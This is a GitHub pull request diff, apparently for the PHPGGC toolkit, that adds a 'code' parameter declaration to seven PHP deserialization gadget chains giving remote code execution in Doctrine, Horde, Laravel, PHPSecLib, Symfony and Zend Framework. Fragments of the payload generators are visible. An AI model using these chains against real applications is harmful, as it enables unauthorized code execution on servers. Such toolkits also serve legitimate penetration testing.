Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixed PHP Code Gadget Chains: Doctrine/RCE1 | Horde/RCE1 | Laravel/RCE5 | PHPSecLib/RCE1 | Symfony/RCE3 | ZendFramework/RCE1 | ZendFramework/RCE4 #159

Closed
wants to merge 7 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 6 additions & 2 deletions gadgetchains/Doctrine/RCE/1/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,11 @@ public function process_serialized($serialized)
$replace_include = 'i:' . 2000 . ';';
return preg_replace($find_include, $replace_include, $serialized2);
}


public static $parameters = [
'code'
];

public function generate(array $parameters)
{
$code = $parameters['code'];
Expand Down Expand Up @@ -76,4 +80,4 @@ public function generate(array $parameters)
$obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
return $obj;
}
}
}
4 changes: 4 additions & 0 deletions gadgetchains/Horde/RCE/1/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,10 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
See https://srcincite.io/blog/2020/08/19/a-smorgashorde-of-vulnerabilities-a-comparative-analysis-of-discovery.html
';

public static $parameters = [
'code'
];

public function generate(array $parameters)
{
$code = $parameters['code'] . ';die;';
Expand Down
6 changes: 5 additions & 1 deletion gadgetchains/Laravel/RCE/5/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -12,9 +12,13 @@ class RCE5 extends \PHPGGC\GadgetChain\RCE\PHPCode
Requires Mockery, which is in the require-dev package.
';

public static $parameters = [
'code'
];

public function generate(array $parameters)
{
$code = '<?php ' . $parameters['code'] . ' exit; ?>';
return new \Illuminate\Broadcasting\PendingBroadcast($code);
}
}
}
4 changes: 4 additions & 0 deletions gadgetchains/PHPSecLib/RCE/1/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,10 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
public static $author = 'crlf';
public static $information = 'Generates warnings and notices.';

public static $parameters = [
'code'
];

public function generate(array $parameters)
{
$code = $parameters['code'];
Expand Down
4 changes: 4 additions & 0 deletions gadgetchains/Symfony/RCE/3/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,10 @@ class RCE3 extends \PHPGGC\GadgetChain\RCE\PHPCode
public static $author = 'crlf';
public static $information = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )';

public static $parameters = [
'code'
];

public function generate(array $parameters)
{
$code = $parameters['code'];
Expand Down
4 changes: 4 additions & 0 deletions gadgetchains/ZendFramework/RCE/1/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,10 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
- Payload gets executed twice
';

public static $parameters = [
'code'
];

public function generate(array $parameters)
{
$code = $parameters['code'];
Expand Down
6 changes: 5 additions & 1 deletion gadgetchains/ZendFramework/RCE/4/chain.php
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,10 @@ class RCE4 extends \PHPGGC\GadgetChain\RCE\PHPCode
- Works on PHP >= 7.0.0
';

public static $parameters = [
'code'
];

public function generate(array $parameters)
{
return new \Zend_Log(
Expand All @@ -28,4 +32,4 @@ public function generate(array $parameters)
)]
);
}
}
}